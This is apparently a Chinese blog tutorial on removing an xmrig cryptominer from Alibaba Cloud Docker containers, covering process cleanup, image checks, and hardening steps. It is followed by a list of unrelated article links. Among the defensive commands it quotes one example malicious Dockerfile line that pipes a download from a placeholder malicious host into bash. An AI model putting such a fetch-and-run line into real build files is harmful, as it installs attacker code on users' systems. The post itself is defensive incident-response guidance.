当前位置: 首页 > news >正文

【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿

解决:阿里云服务器docker容器被植入挖矿程序

    • **1. 紧急处理:停止挖矿进程**
      • **(1)查找并终止 `xmrig` 进程**
      • **(2)删除恶意文件**
    • **2. 清理被感染的容器**
      • **(1)停止并删除容器**
      • **(2)检查镜像是否被污染**
    • **3. 防护措施:防止再次被入侵**
      • **(1)使用最小化镜像**
      • **(2)限制容器资源**
      • **(3)禁止容器内运行可疑进程**
      • **(4)监控容器行为**
      • **(5)避免暴露 Docker API**
    • **4. 排查入侵来源**
      • **(1)检查 Docker 日志**
      • **(2)检查宿主机是否被入侵**
      • **(3)检查 Dockerfile 是否被篡改**
    • **5. 总结**

如果发现 Docker 容器内自动启动 xmrig 挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改容器内运行了恶意脚本)。以下是 排查、清理和防护措施


1. 紧急处理:停止挖矿进程

(1)查找并终止 xmrig 进程

# 进入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 强制终止进程(替换PID)
kill -9 <PID># 如果进程自动重启,检查定时任务或守护进程
crontab -l          # 查看定时任务
ls -la /etc/cron.*  # 检查cron目录
find / -name "*xmrig*"  # 查找挖矿程序路径

(2)删除恶意文件

# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig"  # 检查脚本是否包含xmrig

2. 清理被感染的容器

(1)停止并删除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)检查镜像是否被污染

# 查看所有镜像
docker images# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>

3. 防护措施:防止再次被入侵

(1)使用最小化镜像

  • 避免使用 latest 标签,选择官方受信任的镜像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器资源

docker run 时限制 CPU 和内存,防止挖矿程序耗尽资源:

docker run --cpus 1 --memory 512m -d <镜像名>

(3)禁止容器内运行可疑进程

使用 SeccompAppArmor 限制容器权限:

# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>

(4)监控容器行为

  • 使用 docker stats 检查异常 CPU/内存占用
    docker stats
    
  • 使用 FalcoSysdig 监控容器行为
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止远程访问 Docker API(默认端口 2375):
    # 修改 /etc/docker/daemon.json
    {"hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 启用 TLS 认证(防止未授权访问)。

4. 排查入侵来源

(1)检查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)检查宿主机是否被入侵

  • 查看异常进程
    top -c
    
  • 检查 SSH 登录记录
    grep "Accepted" /var/log/auth.log
    

(3)检查 Dockerfile 是否被篡改

如果使用自定义镜像,检查 Dockerfile 是否包含恶意命令:

# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 总结

步骤命令/操作
终止挖矿进程kill -9 <PID>,删除 /tmp/xmrig
清理容器docker stop + docker rm,检查镜像是否安全
限制资源docker run --cpus 1 --memory 512m
监控容器docker statsFalco
加固 Docker关闭 2375 端口,使用 Seccomp/AppArmor

建议

  • 定期更新 Docker 和镜像,避免使用来源不明的镜像。
  • 使用 Trivy 扫描镜像漏洞
    trivy image <镜像名>
    
  • 启用 Docker 日志审计,记录所有容器操作。

如果问题仍然存在,可能需要 全面检查宿主机重建 Docker 环境

http://www.lryc.cn/news/575462.html

相关文章:

  • 解锁阿里云Datatransport:数据迁移的终极利器
  • 前端项目3-01:登录页面
  • 日语学习-日语知识点小记-进阶-JLPT-真题训练-N2阶段(4):2022年12月2023年12月
  • WPF中Converter基础用法
  • OceanBase SQL 引擎高级技术学习笔记(通俗篇)
  • 智能制造——58页智慧工厂解决方案【附全文阅读】
  • python中学物理实验模拟:斜面受力分析
  • Elasticsearch 中的精确搜索与模糊搜索
  • electron 如何配置 打开控制台
  • Android 开发 获取Debug 跟 Release 包的SHA1值
  • DeepSeek16-open-webui Pipelines开发填坑
  • C语言再出发:2025年AI时代的关键语言
  • 华为云Flexus+DeepSeek征文|基于华为云一键部署 Dify-LLM 平台,结合 MCP 工具与 DeepSeek 模型打造智能学习助手
  • 【stm32】HAL库开发——Cube配置基本定时器
  • 猴子爬山(华为OD)
  • 什么是回归测试?什么时候需要做回归测试?
  • bug复盘:MCP SSE Client 生命周期问题之context.Background() 的使用
  • B站视频下载技术揭秘:从浏览器抓包到FFmpeg音视频合成
  • 0 数学习题本
  • GraphQL注入 -- GPN CTF 2025 Real Christmas
  • 开发语言漫谈-R语言
  • Apache 支持 HTTPS
  • Hive3.1.3加载paimon-hive-connector-3.1-1.1.1.jar报错UnsatisfiedLinkError
  • C++ Programming Language —— 第3章:运算符
  • HDFS(Hadoop分布式文件系统)总结
  • 【unitrix】 4.7 库数字取反(not.rs)
  • 组织策略性陪伴顾问
  • Java后端中的并发控制:从锁机制到无锁编程的实现
  • 供应链管理:主要生产计划类型及其相关信息
  • Vue-14-前端框架Vue之应用基础嵌套路由和路由传参